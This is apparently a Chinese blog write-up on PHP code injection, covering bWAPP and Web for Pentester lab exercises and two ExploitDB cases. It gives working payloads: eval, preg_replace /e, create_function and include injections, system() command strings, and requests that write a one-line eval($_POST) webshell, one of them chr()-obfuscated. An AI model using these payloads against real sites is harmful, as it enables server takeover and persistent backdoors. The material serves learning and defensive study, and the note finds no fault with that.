0x00 背景
在bwapp的注入部分有一個個php injection,這是第一次接觸,在做題的過程中查閱各種資料學習這里總結一下
0x01 PHP命令執行函數
遵從幾位學長的建議對于PHP的學習都是需要的時候才去看一下,所以理解的程度并不深。這里從網上收集了一些PHP能夠執行命令的函數。詳情請看php執行函數
0x02 bwapp下實例
在php injection的源代碼可以看到只有low等級的對于message參數前有eval執行函數,midium和high都只是使用echo打印到頁面之上。因此直接在message的值寫為phpinfo()就能執行該函數。
在網上看到一個相較高級的利用辦法是利用fopen來寫入一個php文件,相當于實現了文件上傳的功能,要想在實際環境中實現需要考慮很多繞過的情況,但是想法不錯!
http://127.0.0.1:82/bwapp/phpi.php?message=fputs(fopen('haha.php','w+'),'<?php @eval($_POST[test])?>')
這樣的話就會在phpi的同級目錄之下生成一個haha.php文件,使用菜刀連接就好。
medium與high就直接忽略掉了。
0x03 文件包含
文件包含函數在特定條件下的代碼注射,如include()、include_once()、 require()、require_once()。當allow_url_include=On ,PHP Version>=5.2.0 時,導致代碼注射。
test.php代碼如下:
<?php include($_GET['a']) ?>
提交a的值:
http://127.0.0.1:82/test.php?a=data:text/plain,%3C?php%20phpinfo%28%29;?%3E
提交之后就能正常執行phpinfo()了
0x04 preg_replace正則替換
這個函數的定義形式是:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
pattern參數的利用
pattern即第一個參數的代碼注射。當magic_quotes_gpc=Off時,導致代碼執行。
例:<?php echo $regexp = $_GET['reg'];
$var = 'phpinfo()';
preg_replace("/(.*?)$regexp", '\\1', $var);
?>
當提交?reg=%3C\/php%3E/e時就會執行var中的語句
②使用/e修飾符,preg_replace會將?replacement?參數當作?PHP?代碼執行
例如:
<?php ?
echo?preg_replace("/test/e",$_GET["h"],"jutst?test");
??>/*當提交的h參數為phpinfo()就會被執行,當執行以下經過chr函數繞過的會生成一個新的php文件
h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文對應的明文是:fputs(fopen(data/a.php,w), <?php eval $_POST[cmd[ ?>);
0x05 動態代碼執行
這一類一般是從用戶處獲得了多個參數,然后有一個可以用來執行其他的語句。
<?php ? $a = $_GET['a']; ? ? ? ? $b = $_GET['b']; ? ? ? ?$a($b); ? ?>
提交a=system&b=ipconfig ? 就能成功執行ipconfig命令
還有一種是使用了create_function()函數
string?create_function ?(?string$args?? ,?string$code?? ) 即第一個參數指定創建函數的參數,第二個就是創建函數的代碼部分。
create_function('$name', 'echo "hello".$name;'))等價于
function fun($name){ echo "hello".$name; }
實驗代碼:
提交:http://127.0.0.1:82/test.php?foobar=eval(phpinfo())
0x06 實例
①http://www.exploit-db.com/exploits/18565/??LotusCMS 3.0 eval() Remote Command Execution
影響版本:
LotusCMS version 3.0.3
LotusCMS version 3.0.5
漏洞描述:
在LotusCMS 的index.php 文件中調用router 構建函數,然后在lcms/core/lib/router.php 中page 這個參數被帶入,由于未經任何過濾可以產生該漏洞。
也可以像上面提到的一樣利用執行函數的特性來寫入一個文件
3.案例-2:
http://www.exploit-db.com/exploits/35183/?X7 Chat 2.0.5 preg_replace() PHP Code Execution
影響版本:X7 Chat version 2.0.5
漏洞描述:
漏洞的產生最終是由于/lib/message.php 下的第119 行的preg_replce()函數導致,這里引用了/e 修飾符,并且未經過嚴格過濾最終導致任意代碼執行。
案例演示:
1. 首先需要注冊一個用戶
2. 利用注冊的用戶登錄
3. User CP –>Offline Msgs –>創建一個項目鏈接–>Send
或者直接GET 如下代碼
之后可以看到成功創建一個項目,當打開創建的項目可以看到利用代碼被成功執行
Metasploit 更新了漏洞利用模塊,可以利用該模塊演示一下被利用的場景
PHP create_function()
1.在php 中使用create_function()創建一個匿名函數(lambda-style),如果對參數未進行嚴格的過濾審查,攻擊者可以通過提交特殊字符串給create_function()從而導致任意代碼執行。
Code:
PHP?unserialize
Code:
提交語句:http://127.0.0.1/test/unserialize.php?test=O:7:”Example”:1:{s:3:”var”;s:10:”phpinfo();”;}
PHP assert
Code:
提交語句:http://127.0.0.1/test/assert.php?test=phpinfo();
0x07 代碼執行繞過
前面將一些常見的易造成PHP代碼注入的函數介紹了一下。接下來將以web for pentester中的案例來演示一下,一些簡單的php代碼執行的繞過。
案例演示:
example1.php
代碼:
解決方案:
查看代碼我們可以看到,這里使用了反斜杠【\】將echo后面的內容給轉義了。這樣做與加addslashes()函數進行過濾的意思是一樣的。具體案例可以到這里學習【php4fun.sinaapp.com PHP挑戰通關攻略】。但是我們可以通過${${ }}這樣的方式繞過,從而繼續執行代碼。
提交語句:
http://target/codeexec/example1.php?name=${${phpinfo()}}
example2.php
代碼:
解決方案:
我們看代碼,造成造成代碼注入的重點在被加紅的區域也就是create_function()的不當使用,我們可以這樣構造);}phpinfo();//,從而繼續執行我們的命令。【這里解釋一下);}是閉合了前面的代碼,而//則是將后面的內容注釋掉】
提交代碼:
http://target/codeexec/example2.php?order=id);}phpinfo();//
example3.php
代碼:
解決方案:
/e 修正符使 preg_replace() 將 replacement 參數當作 PHP 代碼(在適當的逆向引用替換完之后)。提示:要確保 replacement 構成一個合法的 PHP 代碼字符串,否則 PHP 會在報告在包含 preg_replace() 的行中出現語法解析錯誤。
因此當滿足了在語句的構造中有/e修正符,就有可能引起php代碼注入的風險。可以如此構造
new=system(‘date’)&pattern=/lamer/e&base=Hello lamer
提交代碼:
http://target/codeexec/example3.php?new=system(‘date’)&pattern=/lamer/e&base=Hello lamer
example4.php
代碼:
解決方案:
如此構造即可:hacker’.system(‘cat /etc/issue’).’
提交代碼:
http://target/codeexec/example4.php?name=hacker’.system(‘cat /etc/issue’).’
0x08 代碼防御
盡量不要執行外部的應用程序和命令
在使用諸如:eval、preg_replace、assert這些函數的時候,確定參數的內容,嚴格過濾危險參數。
使用自定義的函數或者函數庫來實現相關的需要命令功能
0x09 相關參考
慎用preg_replace危險的/e修飾符(一句話后門常用)
文中后半部分來自千域千尋,PHP Code Injection Analysis